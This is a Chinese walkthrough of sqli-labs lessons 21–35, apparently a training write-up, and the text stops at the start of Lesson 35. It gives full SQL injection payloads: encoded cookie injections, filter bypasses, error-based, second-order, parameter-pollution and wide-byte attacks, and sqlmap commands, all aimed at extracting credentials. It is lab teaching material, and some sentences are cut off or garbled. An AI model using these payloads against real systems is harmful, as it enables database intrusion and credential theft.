0x01 高级注入 21-37Lesson-21该题为Cookie post型注入,利用方式包括联合注入、报错注入、布尔盲注、时间盲注,登录界面以 post 方式接收变量 目标SQL语句如下: if cookie 不存在 $uname: if 提交 $uname 和 $passwd $uname = $POST['uname']; $passwd = $POST['passswd'];
$sql = select users.username, users.password from users where users.username=$uname and users.password=$passwd ORDER BY users.id DESC limit 0,1; $cookee = $row1['username']; # 返回内容 if 返回SQL查询结果: setcookie('uname', base64_encode($row1['username']), timne()-3600) else: print_r(mysql_error()); else: if POST 数据中没有 $submit: $cookee = base64_decode($cookee); $sql = 'select * from users WHERE usernmae=('$cookee') LIMIT 0,1'; if 无查询结果: print_r(mysql_error()); else: 输出查询信息 else: setcookie('uname', base64_encode($row1['username']), timne()-3600); 注意:本题与Lesson20的利用方式相同,只不过它修改拼接方式,由单引号改为单括号单引号同时对cookie进行base64编码 登录成功后界面如下: 使用联合查询判断字段数 Cookie: uname=YWRtaW4nKSBvcmRlciBieSAzIw== //返回正常界面 Cookie: uname=YWRtaW4nKSBvcmRlciBieSA0Iw== //返回错误界面 由此可说明字段数为3,通过 union select 查看回显位置 Cookie: uname=LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMiwzIw== 查询基础信息 Cookie: uname=LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMix1c2VyKCkj Cookie: uname=LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMix2ZXJzaW9uKCkj Cookie: uname=LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpIw==
查询表名 Cookie: uname=LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknIw== 查询列名 Cookie: uname=LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZT0ndXNlcnMnI 查询关键信息 Cookie: uname=LWFkbWluJykgdW5pb24gc2VsZWN0IDEsZ3JvdXBfY29uY2F0KHVzZXJuYW1lKSxncm91cF9jb25jYXQocGFzc3dvcmQpIGZyb20gdXNlcnMj 也可以直接说使用 sqlmap 使用 base64 编码进行注入 sqlmap -u 'http://172.16.117.135/sqli/Less-21/' --cookie='uname=*' --tamper='base64encode' --dbms=MySQL --random-agent --flush-session --technique=U -v 3 Lesson-22该题为Cookie post型注入,利用方式包括联合注入、报错注入、布尔盲注、时间盲注,登录界面以 post 方式接收变量 目标SQL语句如下: if cookie 不存在 $uname: if 提交 $uname 和 $passwd $uname = $POST['uname']; $passwd = $POST['passswd'];
$sql = select users.username, users.password from users where users.username=$uname and users.password=$passwd ORDER BY users.id DESC limit 0,1; $cookee = $row1['username']; # 返回内容 if 返回SQL查询结果: setcookie('uname', base64_encode($row1['username']), timne()-3600) else: print_r(mysql_error()); else: if POST 数据中没有 $submit: $cookee = base64_decode($cookee); $cookee = '''.$cookee.''' $sql = 'select * from users WHERE usernmae=$cookee LIMIT 0,1'; if 无查询结果: print_r(mysql_error()); else: 输出查询信息 else: setcookie('uname', base64_encode($row1['username']), timne()-3600); 注意:本题与Lesson21的利用方式相同,只不过它修改了拼接方式,由单括号单引号改为双引号 登录成功后界面如下: 使用联合查询判断字段数 Cookie: uname=YWRtaW4iIG9yZGVyIGJ5IDQj //返回正常界面 Cookie: uname=YWRtaW4iIG9yZGVyIGJ5IDMj //返回错误界面 由此可说明字段数为3,通过 union select 查看回显位置 Cookie: uname=LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLDM 查询基础信息 Cookie: uname=LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLHVzZXIoKSM= Cookie: uname=LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLHZlcnNpb24oKSM= Cookie: uname=LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj
查询表名 Cookie: uname=LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hPSdzZWN1cml0eScj 查询列名 Cookie: uname=LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdChjb2x1bW5fbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9uYW1lPSd1c2Vycyc 查询关键信息 Cookie: uname=LWFkbWluIiB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQodXNlcm5hbWUpLGdyb3VwX2NvbmNhdChwYXNzd29yZCkgZnJvbSB1c2VycyM= 也可以直接说使用 sqlmap 使用 base64 编码进行注入 sqlmap -u 'http://172.16.117.135/sqli/Less-22/' --cookie='uname=*' --tamper='base64encode' --dbms=MySQL --random-agent --flush-session --technique=U -v 3 Lesson-23该题为单引号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注 id=1' 目标SQL语句如下: $id=$_GET['id']
$reg = '/#/'; $reg1 = '/--/'; $replace = ''; $id = preg_replace($reg, $replace, $id); $id = preg_replace($reg1, $replace, $id);
$sql = select * from users where id='$id' limit 0,1 # 返回内容 if true: 输出查询内容; else: print_r(mysql_error()); 注意:该题与Lesson1的利用方式相同,只不过过滤了注释符号,因此我们可利用闭合的方式进行注入 使用联合查询判断注入点,尝试验证 id=1' AND '1'='1 //返回正常界面 id=1' AND '1'='2 //返回错误界面 判断字段数 id=1' order by 4 and '1'='1 //返回正常界面 在尝试使用 order by 判断字段数时发现无论字段数取多少目标都会返回正常,在数据库中执行相关语句可帮助我们发现存在的问题 SELECT * FROM users WHERE id='1' and '1'='1' order by 4 LIMIT 0,1; SELECT * FROM users WHERE id='1' order by 4 and '1'='1' LIMIT 0,1;
因此我们不能使用 order by 来判断字段数,需要通过 union select 判断 id=-1' union select 1,2,3 and '1'='1 id=-1' union select 1,2,3,4 and '1'='1 查询基础信息 id=-1' union select 1,user(),3 and '1'='1 id=-1' union select 1,version(),3 and '1'='1 id=-1' union select 1,database(),3 and '1'='1 查询表名 id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' and '1'='1 查询列名 id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' and '1'='1 查询关键信息 id=-1' union select 1,(select group_concat(concat_ws(0x7e,username,password)) from users),3 and '1'='1 Lesson-24该题为经典的二次注入场景,在登录界面以 post 方式接收变量,存在忘记密码和新建用户选项 使用正确的密码登录成功也没有发现异常信息,利用点可能在新的功能选项上 目标SQL语句如下:
注意:该题与以往的注入都有点不同,它需要采用二次注入的方式来完成利用。那么何谓二次注入呢?简单来说就是黑客首先将没有触发行为的SQL语句插入至数据库当中,再调用插入的SQL语句触发攻击行为。
UPDATE uers SET PASSWORD='$pass' where username='$username' and password='$curr_pass' 带入特殊的用户名 admin'# 后语句如下:UPDATE users SET PASSWORD='$pass' where username='admin'# and password='$curr_pass' 首先我们构造一个特殊的用户名进行注册以便于修改 admin 用户的密码 admin'# 通过数据库语句查询用户名,发现注册用户完成后该表中的其他数据并未发生变化 SELECT * FROM users;
再次注册并登录 点击 通过数据库语句再次查询用户名,发现 admin 用户密码已成功修改为 123 SELECT * FROM users; 使用 admin/123 进行登录,登录成功 Lesson-25该题为单引号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注 id=1' 目标SQL语句如下: $id=$_GET['id']
$sql='SELECT * FROM users WHERE id='$id' LIMIT 0,1';
$id= preg_replace('/or/i','', $id); $id= preg_replace('/AND/i','', $id);
# 返回内容 if true: 输出查询内容; else: print_r(mysql_error()); 注意:该题与Lesson23的利用方式相同,只不过过滤条件由注释符换成了关键词and和or,因此我们可利用双写或符号替换的方式的方式进行注入 绕过方式如下: # 关键字双写or => oorrand => anandd# 替换字符or => ||and => && 使用联合查询判断注入点,尝试验证 id=1' anandd '1'='1 //返回正常界面 id=1' anandd '1'='2 //返回错误界面 判断字段数 id=1' oorrder by 3--+ //返回正常界面 id=1' oorrder by 4--+ //返回错误界面 由此可判断字段数为3,通过 union select 判断回显位置 id=-1' union select 1,2,3--+ 查询基础信息 id=-1' union select 1,version(),user()--+ id=-1' union select 1,database(),3--+ 查询表名 id=-1' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables wheretable_schema = 'security'--+ table_schema = 'security'--+wan 查询列名 id=-1' union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name = 'users'--+ 查询关键信息
Lesson-25a该题为数字型get型注入,利用方式包括联合查询注入、布尔盲注、时间盲注 id=1' 目标SQL语句如下:
注意:该题与Lesson25的利用方式相同,只不过拼接方式由单引号变成了纯数字,同时不再输出详细的MySQL报错信息,因此无法使用报错注入进行攻击 绕过方式如下: # 关键字双写or => oorrand => anandd# 替换字符or => ||and => && 使用联合查询判断注入点,尝试验证 id=1 anandd 1=1 //返回正常界面 id=1 anandd 1=2 //返回错误界面 判断字段数 id=1 oorrder by 3--+ //返回正常界面 id=1 oorrder by 4--+ //返回错误界面 由此可判断字段数为3,通过 union select 判断回显位置 id=-1 union select 1,2,3--+ 查询基础信息 id=-1 union select 1,version(),user()--+ id=-1 union select 1,database(),3--+ 查询表名 id=-1' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema = 'security'--+ 查询列名 id=-1' union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name = 'users'--+ 查询关键信息
Lesson-26该题为单引号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注 id=1' 目标SQL语句如下:
注意:该题与Lesson25的利用方式相同,只不过过滤条件添加了空格、注释符等,我们需要使用更多手段进行绕过 过滤 # 关键字双写 or => oorr and => anandd # 替换字符 or => || and => && 过滤注释符可使用闭合绕过: 注释符 => ' and '1'='1 过滤空格可替换特殊符号进行绕过: %09 #Tab键 %0a #新建一行 %0c #新的一页 %0d #return功能 %0b #Tab键 %a0 #空格 如果不知道哪些符号可替换可使用如下脚本进行检测:
解析问题在判断字段数时我们发现无论怎么更换 payload,目标都会报错。后来发现这并不是我们的 payload 存在问题,而是因为 Windows 环境无法使用一些特殊字符来代替空格,因此存在两种解决方式,一是不使用空格用报错注入进行利用;二是将环境切换至 Linux 当中。 id=1'%0aoorrder%0aby%0a3%0aaandnd%0a'1'='1 使用 Docker 搭建 Linux 环境是一个不错的选择 docker pull acgpiano/sqli-labsdocker run -dt --name sqli-lab -p 8888:80 acgpiano/sqli-labs:latest 搭建完成后访问本地 8888 端口并初始化环境 使用报错注入判断注入点,尝试验证 id=1'%0aanandd%0a'1'='1 //返回正常界面 id=1'%0aanandd%0a'1'='2 //返回错误界面 不使用空格可进行报错注入,首先获取基础信息 id=-1'||updatexml(1,concat(0x7e,(database())),0)||'1'='1 查询表名
查询列名 id=-1'||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='users'))),0)||'1'='1 查询关键信息,寻找 id 为1的用户信息 id=-1'||updatexml(1,concat(0x7e,(select(concat(username,0x7e,passwoorrd))from(users)where(id)=1)),0)||'1'='1 寻找 id 为2的用户信息 id=-1'||updatexml(1,concat(0x7e,(select(concat(username,0x7e,passwoorrd))from(users)where(id)=2)),0)||'1'='1 使用联合查询判断字段数,在新环境下再次判断字段数会出现与Lesson23同样的情况 id=1'%a0oorrder%a0by%a04%a0aandnd%a0'1'='1 因此我们不能使用 order by 来判断字段数,需要通过 union select 判断 id=0'%a0union%a0select%a01,2,3%a0aandnd%a0'1'='1 id=0'%a0union%a0select%a01,2,3,4%a0aandnd%a0'1'='1 这里还有一个小插曲,由于 查询基础信息 id=0'%a0union%a0select%a01,user(),3%a0aandnd%a0'1'='1id=0'%a0union%a0select%a01,version(),3%a0aandnd%a0'1'='1id=0'%a0union%a0select%a01,database(),3%a0aandnd%a0'1'='1 查询表名 id=0'%a0union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'%a0aandnd%a0'1'='1 查询列名 id=0'%a0union%a0select%a01,group_concat(column_name),3%a0from%a0infoorrmation_schema.columns%a0where%a0table_name='users'%a0aandnd%a0'1'='1 查询关键信息 id=0'%a0union%a0select%a01,(select%a0group_concat(concat_ws(0x7e,username,password))%a0from%a0users),3%a0aandnd%a0'1'='1 Lesson-26a该题为单括号单引号get型注入,利用方式包括联合查询注入、布尔盲注、时间盲注 id=1' 目标SQL语句如下:
注意:该题与Lesson26的利用方式相同,只不过拼接方式由单引号变成了单括号单引号,同时不再输出详细的MySQL报错信息,因此无法使用报错注入进行攻击 过滤 # 关键字双写 or => oorr and => anandd # 替换字符 or => || and => && 过滤注释符可使用闭合绕过: 注释符 => ' and '1'='1 过滤空格可替换特殊符号进行绕过: %09 #Tab键 %0a #新建一行 %0c #新的一页 %0d #return功能 %0b #Tab键 %a0 #空格 判断小括号方法 2'&&'1'='1- 若查询语句为where id='$id',查询时是where id='2'&&'1'='1',结果是where id='2',回显会是id=2。- 若查询语句为where id=('$id'),查询时是where id=('2'&&'1'='1'),MySQL 将'2'作为了 Bool 值,结果是where id=('1'),回显会是id=1。1')||'1'=('1- 若查询语句有小括号正确回显,若无小括号错误回显(无回显)。 使用联合查询判断注入点,尝试验证 id=1')%0aanandd%0a('1')=('1 //返回正常界面 id=1')%0aanandd%0a('1')=('2 //返回错误界面 在新环境下再次判断字段数会出现与Lesson23同样的情况 id=1')%a0oorrder%a0by%a04%a0aandnd%a0('1')=('1 因此我们不能使用 order by 来判断字段数,需要通过 union select 判断 id=0')%a0union%a0select%a01,2,3%a0aandnd%a0('1')=('1 id=0')%a0union%a0select%a01,2,3,4%a0aandnd%a0('1')=('1 这里还有一个小插曲,由于 查询基础信息 id=0')%a0union%a0select%a01,user(),3%a0aandnd%a0('1')=('1 id=0')%a0union%a0select%a01,version(),3%a0aandnd%a0('1')=('1 id=0')%a0union%a0select%a01,database(),3%a0aandnd%a0('1')=('1 查询表名 id=0')%a0union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'%a0aandnd%a0('1')=('1 [object Object] 查询列名 id=0')%a0union%a0select%a01,group_concat(column_name),3%a0from%a0infoorrmation_schema.columns%a0where%a0table_name='users'%a0aandnd%a0('1')=('1 查询关键信息 id=0')%a0union%a0select%a01,(select%a0group_concat(concat_ws(0x7e,username,password))%a0from%a0users),3%a0aandnd%a0('1')=('1 Lesson-27该题为单引号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注 id=1' 目标SQL语句如下:
注意:该题与Lesson26的利用方式相同,只不过过滤条件去除了 由于过滤 # 关键字大小写转换 union => UnIoN select => SelecT # 关键字双写 union => ununionion # 由于select使用/m严格模式,因此不可以使用双写进行绕过 使用联合查询判断注入点,尝试验证 id=1'%0aand%0a'1'='1 //返回正常界面 id=1'%0aand%0a'1'='2 //返回错误界面 在新环境下再次判断字段数会出现与Lesson23同样的情况 id=1'%a0order%a0by%a04%a0and%a0'1'='1 因此我们不能使用 order by 来判断字段数,需要通过 union select 判断 id=0'%a0ununionion%a0SelecT%a01,2,3%a0and%a0'1'='1 id=0'%a0ununionion%a0SelecT%a01,2,3,4%a0and%a0'1'='1 这里还有一个小插曲,由于 查询基础信息 id=0'%a0ununionion%a0SelecT%a01,user(),3%a0and%a0'1'='1 id=0'%a0ununionion%a0SelecT%a01,version(),3%a0and%a0'1'='1 id=0'%a0ununionion%a0SelecT%a01,database(),3%a0and%a0'1'='1 查询表名 id=0'%a0ununionion%a0SelecT%a01,group_concat(table_name),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0and%a0'1'='1 查询列名 id=0'%a0ununionion%a0SelecT%a01,group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_name='users'%a0and%a0'1'='1 查询关键信息 id=0'%a0ununionion%a0SelecT%a01,(SelecT%a0group_concat(concat_ws(0x7e,username,password))%a0from%a0users),3%a0and%a0'1'='1 Lesson-27a该题为双引号get型注入,利用方式包括联合查询注入、布尔盲注、时间盲注 id=1' 目标SQL语句如下: $id=$_GET['id'] $id = ''' .$id. ''';
$sql='SELECT * FROM users WHERE id=$id LIMIT 0,1';
$id= preg_replace('/[\/\*]/','', $id); $id= preg_replace('/[--]/','', $id); $id= preg_replace('/[#]/','', $id); $id= preg_replace('/[ +]/','', $id); $id= preg_replace('/select/m','', $id); $id= preg_replace('/[ +]/','', $id); $id= preg_replace('/union/s','', $id); $id= preg_replace('/select/s','', $id); $id= preg_replace('/UNION/s','', $id); $id= preg_replace('/SELECT/s','', $id); $id= preg_replace('/Union/s','', $id); $id= preg_replace('/Select/s','', $id);
# 返回内容 if true: 输出查询内容; else: 输出存在错误; 注意:该题与Lesson27的利用方式相同,只不过拼接方式由单引号变成了双引号,同时不再输出详细的MySQL报错信息,因此无法使用报错注入进行攻击 由于过滤 # 关键字大小写转换 union => UnIoN select => SelecT # 关键字双写 union => ununionion # 由于select使用/m严格模式,因此不可以使用双写进行绕过 使用联合查询判断注入点,尝试验证 id=1'%0aand%0a'1'='1 //返回正常界面 id=1'%0aand%0a'1'='2 //返回错误界面 在新环境下再次判断字段数会出现与 Lesson23 同样的情况 id=1'%a0order%a0by%a04%a0and%a0'1'='1 因此我们不能使用 order by 来判断字段数,需要通过 union select 判断 id=0'%a0ununionion%a0SelecT%a01,2,3%a0and%a0'1'='1 id=0'%a0ununionion%a0SelecT%a01,2,3,4%a0and%a0'1'='1 这里还有一个小插曲,由于 查询基础信息 id=0'%a0ununionion%a0SelecT%a01,user(),3%a0and%a0'1'='1 id=0'%a0ununionion%a0SelecT%a01,version(),3%a0and%a0'1'='1 id=0'%a0ununionion%a0SelecT%a01,database(),3%a0and%a0'1'='1 查询表名 id=0'%a0ununionion%a0SelecT%a01,group_concat(table_name),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0and%a0'1'='1 查询列名 id=0'%a0ununionion%a0SelecT%a01,group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_name='users'%a0and%a0'1'='1 查询关键信息 id=0'%a0ununionion%a0SelecT%a01,(SelecT%a0group_concat(concat_ws(0x7e,username,password))%a0from%a0users),3%a0and%a0'1'='1 Lesson-28该题为单括号单引号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注 id=1' 目标SQL语句如下:
注意:该题与Lesson27的利用方式相同,只不过拼接方式由单引号变成了单括号单引号,过滤条件减少了单个关键字 过滤 使用联合查询判断注入点,尝试验证 id=1')%0aand%0a('1')=('1 //返回正常界面 id=1')%0aand%0a('1')=('2 //返回错误界面 在新环境下再次判断字段数会出现与 Lesson23 同样的情况 id=1')%a0order%a0by%a04%a0and%a0('1')=('1 因此我们不能使用 order by 来判断字段数,需要通过 union select 判断 id=0')%a0union%a0select%a01,2,3%a0and%a0('1')=('1 id=0')%a0union%a0select%a01,2,3,4%a0and%a0('1')=('1 这里还有一个小插曲,由于 查询基础信息
id=0')%a0union%a0select%a01,user(),3%a0and%a0('1')=('1id=0')%a0union%a0select%a01,version(),3%a0and%a0('1')=('1id=0')%a0union%a0select%a01,database(),3%a0and%a0('1')=('1
查询表名 id=0')%a0union%a0select%a01,group_concat(table_name),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0and%a0('1')=('1 查询列名 id=0')%a0union%a0select%a01,group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_name='users'%a0and%a0('1')=('1 查询关键信息 id=0')%a0union%a0select%a01,(SelecT%a0group_concat(concat_ws(0x7e,username,password))%a0from%a0users),3%a0and%a0('1')=('1 Lesson-28a该题为单括号单引号get型注入,利用方式包括联合查询注入、布尔盲注、时间盲注 id=1' 目标SQL语句如下:
注意:该题与Lesson28的利用方式相同,但过滤条件减少了许多关键字的限制,只保留了 过滤 使用联合查询判断注入点,尝试验证 id=1')%0aand%0a('1')=('1 //返回正常界面 id=1')%0aand%0a('1')=('2 //返回错误界面 在新环境下再次判断字段数会出现与 Lesson23 同样的情况
id=1')%a0order%a0by%a04%a0and%a0('1')=('1 因此我们不能使用 order by 来判断字段数,需要通过 union select 判断 id=0')%a0union%a0select%a01,2,3%a0and%a0('1')=('1 id=0')%a0union%a0select%a01,2,3,4%a0and%a0('1')=('1 这里还有一个小插曲,由于 查询基础信息
id=0')%a0union%a0select%a01,user(),3%a0and%a0('1')=('1id=0')%a0union%a0select%a01,version(),3%a0and%a0('1')=('1id=0')%a0union%a0select%a01,database(),3%a0and%a0('1')=('1 查询表名 id=0')%a0union%a0select%a01,group_concat(table_name),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0and%a0('1')=('1 查询列名 id=0')%a0union%a0select%a01,group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_name='users'%a0and%a0('1')=('1 查询关键信息 id=0')%a0union%a0select%a01,(SelecT%a0group_concat(concat_ws(0x7e,username,password))%a0from%a0users),3%a0and%a0('1')=('1 Lesson-29该题为单引号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注 id=1' 除了默认的index.php以外还存在login.php文件 id=1 但一旦输入错误会重定向hacked.php 目标SQL语句如下:
注意:该题存在两个存在注入的文件 与此同时我们还需要注意不同服务器搭配脚本语言对参数解析位置是不同的,比如 Apache 会解析最后一个参数,Tomcat 则会解析第一个参数。 而本题实际上需要使用双层服务器架构,即将 Tomcat 作为外层服务器,将 Apache 作为内层服务器。在实际环境中也有这种情况,外层服务器主要过滤数据,作用相当于是一个 WAF,而内层服务器主要负责处理数据并返回结果。那为什么要以双层架构来搭建环境呢?因为 Tomcat 和 Apache 的解析参数不同,在处理 注意:该部署环境适用于Lesson29-Lesson32 我们需要搭建Tomcat,解压 sqli-labs 中的tomcat-files.zip如下: 将解压后的文件放入 Tomcat 的webapps/ROOT目录当中 修改index.jsp中的转发链接为 sqli-labs 项目链接 成功访问目标地址,Tomcat 部署完成 id=1 使用联合查询判断注入点,尝试验证 id=1&id=1' and '1'='1 //返回正常界面 id=1&id=1' and '1'='2 //返回错误界面 判断字段数 id=1&id=1' order by 3--+ //返回正确界面 id=1&id=1' order by 4--+ //返回报错界面 由此可说明字段数为3,通过 union select 查看回显位置 id=1&id=-1' union select 1,2,3--+ 查询基础信息 id=1&id=-1' union select 1,user(),3--+ id=1&id=-1' union select 1,version(),3--+ id=1&id=-1' union select 1,database(),3--+ 查询表名 id=1&id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+ 查询列名 id=1&id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+ 查询关键信息 id=1&id=-1' union select 1,group_concat(username),group_concat(password) from users--+ Lesson-30该题为双引号get型注入,利用方式包括联合查询注入、布尔盲注、时间盲注 id=1 一旦输入错误会重定向hacked.jsp 目标SQL语句如下:
注意:该题的利用方式与lesson29类似,只不过拼接方式由单引号转换为双引号,同时不再输出详细的MySQL报错信息,因此无法使用报错注入进行攻击 使用联合查询判断注入点,尝试验证 id=1&id=1' and '1'='1 //返回正常界面 id=1&id=1' and '1'='2 //返回错误界面 判断字段数 id=1&id=1' order by 3--+ //返回正确界面 id=1&id=1' order by 4--+ //返回报错界面 由此可说明字段数为3,通过 union select 查看回显位置 id=1&id=-1' union select 1,2,3--+ 查询基础信息 id=1&id=-1' union select 1,user(),3--+id=1&id=-1' union select 1,version(),3--+id=1&id=-1' union select 1,database(),3--+ 查询表名 id=1&id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+ 查询列名 id=1&id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+ 查询关键信息 id=1&id=-1' union select 1,group_concat(username),group_concat(password) from users--+ Lesson-31该题为单括号双引号get型注入,利用方式包括联合查询注入、布尔盲注、时间盲注 id=1 一旦输入错误会重定向hacked.jsp 目标SQL语句如下: //index.php $id=$_GET['id'] $id = '''.$id.''';
$sql='SELECT * FROM users WHERE (id=$id) LIMIT 0,1'; # 返回内容 if true: 输出查询内容; else: print_r(mysql_error());
//login.php $qs = $_SERVER['QUERY_STRING'];
$id1=java_implimentation($qs); $id=$_GET['id'];
whitelist($id1);
$id = ''' .$id. '''; $sql='SELECT * FROM users WHERE id=($id) LIMIT 0,1';
# 返回内容 if true: 输出查询内容; else: print_r(mysql_error());
function whitelist($input) { $match = preg_match('/^\d+$/', $input); if($match) { //echo 'you are good'; //return $match; } else { header('Location: hacked.php'); //echo 'you are bad'; } }
function java_implimentation($query_string) { $q_s = $query_string; $qs_array= explode('&',$q_s);
foreach($qs_array as $key => $value) { $val=substr($value,0,2); if($val=='id') { $id_value=substr($value,3,30); return $id_value; echo '<br>'; break; }
}
} 注意:该题的利用方式与lesson30类似,只不过拼接方式由双引号转换为单括号双引号 使用联合查询判断注入点,尝试验证 id=1&id=1') and ('1')=('1 //返回正常界面 id=1&id=1' and '1'='2 //返回错误界面 判断字段数 id=1&id=1') order by 3--+ //返回正确界面 id=1&id=1') order by 4--+ //返回报错界面 由此可说明字段数为3,通过 union select 查看回显位置 id=1&id=-1') union select 1,2,3--+ 查询基础信息 id=1&id=-1') union select 1,user(),3--+ id=1&id=-1') union select 1,version(),3--+ id=1&id=-1') union select 1,database(),3--+ 查询表名 id=1&id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+ 查询列名 id=1&id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+ 查询关键信息 id=1&id=-1') union select 1,group_concat(username),group_concat(password) from users--+ Lesson-32该题为单引号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注 id=1' 目标SQL语句如下:
注意:该题采用了新的过滤规则,将常用的单双引号、反斜杠等敏感字符都进行了反斜杠转义,我们需要去除反斜杠,因此可使用宽字节注入进行绕过 如果程序的默认字符集为 GBK 等宽字节字符集时,就有可能产生宽字节注入。MySQL 在使用 GBK 编码时会认为两个字符是一个汉字,例如 需要注意的是只有前一个 ASCII 码大于128才能到达汉字范围,因此不只是 由于旧版本的 MySQL 安装时,会有编码问题导致中文乱码。因此需要查看 MySQL 中的编码类型 SHOW VARIABLES LIKE 'character%'; 使用联合查询判断注入点,尝试验证 id=1%df' //返回报错界面 id=1%df'--+ //返回正常界面 判断字段数 id=1%df' order by 3--+ //返回正确界面 id=1%df' order by 4--+ //返回报错界面 由此可说明字段数为3,通过 union select 查看回显位置 id=-1%df' union select 1,2,3--+ 查询基础信息 id=-1%df' union select 1,user(),3--+ id=-1%df' union select 1,version(),3--+ id=-1%df' union select 1,database(),3-- 查询表名,将原先的输出库名的'转换为database()函数,当然也可以转换为十进制输出 id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ 查询列名 id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273--+ 查询关键信息 id=-1%df' union select 1,group_concat(username),group_concat(password) from users--+ Lesson-33该题为单引号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注 id=1' 目标SQL语句如下:
注意:该题与Lesson32的利用方式相同,只不过更换了过滤函数addslashes(),该函数可在预定义字符之前添加反斜杠
默认情况下 PHP 对所有 使用联合查询判断注入点,尝试验证 id=1%df' //返回报错界面 id=1%df'--+ //返回正常界面 判断字段数 id=1%df' order by 3--+ //返回正确界面 id=1%df' order by 4--+ //返回报错界面 由此可说明字段数为3,通过 union select 查看回显位置 id=-1%df' union select 1,2,3--+ 查询基础信息 id=-1%df' union select 1,user(),3--+id=-1%df' union select 1,version(),3--+id=-1%df' union select 1,database(),3--+ 查询表名,将原先的输出库名的'转换为database()函数,当然也可以转换为十进制输出 id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ 查询列名 id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273--+ 查询关键信息 id=-1%df' union select 1,group_concat(username),group_concat(password) from users--+ Lesson-34该题为单引号post型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注,登录界面以 post 方式接收变量 目标SQL语句如下:
注意:该题与Lesson33的利用方式相同,只不过将请求方式由 使用 echo \'|iconv -f utf-8 -t utf-16 echo \'|iconv -f utf-8 -t utf-32 截取登录请求包并复制以上乱码字符使用万能密码进行登录,成功登录 uname=admin�'%20or%201#&passwd=admin&submit=Submit 那为什么这个万能密码能够生效呢?我们尝试将其代入SQL语句当中 SELECT username, password FROM users WHERE username='admin�' or 1#' and password='admin' LIMIT 0,1; 需要注意的是这里的 使用联合查询判断字段数 uname=admin�'%20order%20by%202#&passwd=admin&submit=Submit //返回正常界面 uname=admin�'%20order%20by%203#&passwd=admin&submit=Submit //返回报错界面 由此可说明字段数为2,通过 union select 查看回显位置 uname=admin�'%20union%20select%201,2#&passwd=admin&submit=Submit 查询基础信息 uname=admin�'%20union%20select%20user(),version()#&passwd=admin&submit=Submit uname=admin�'%20union%20select%20database(),2#&passwd=admin&submit=Submit 查询表名,将原先的输出库名的'转换为database()函数,当然也可以转换为十进制输出 uname=admin�'%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()#&passwd=admin&submit=Submit 查询列名 uname=admin�'%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x7573657273#&passwd=admin&submit=Submit 查询关键信息 uname=admin�'%20union%20select%20group_concat(username),group_concat(password)%20from%20users#&passwd=admin&submit=Submit Lesson-35该题为数字型get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注 id=1' 目标SQL语句如下:
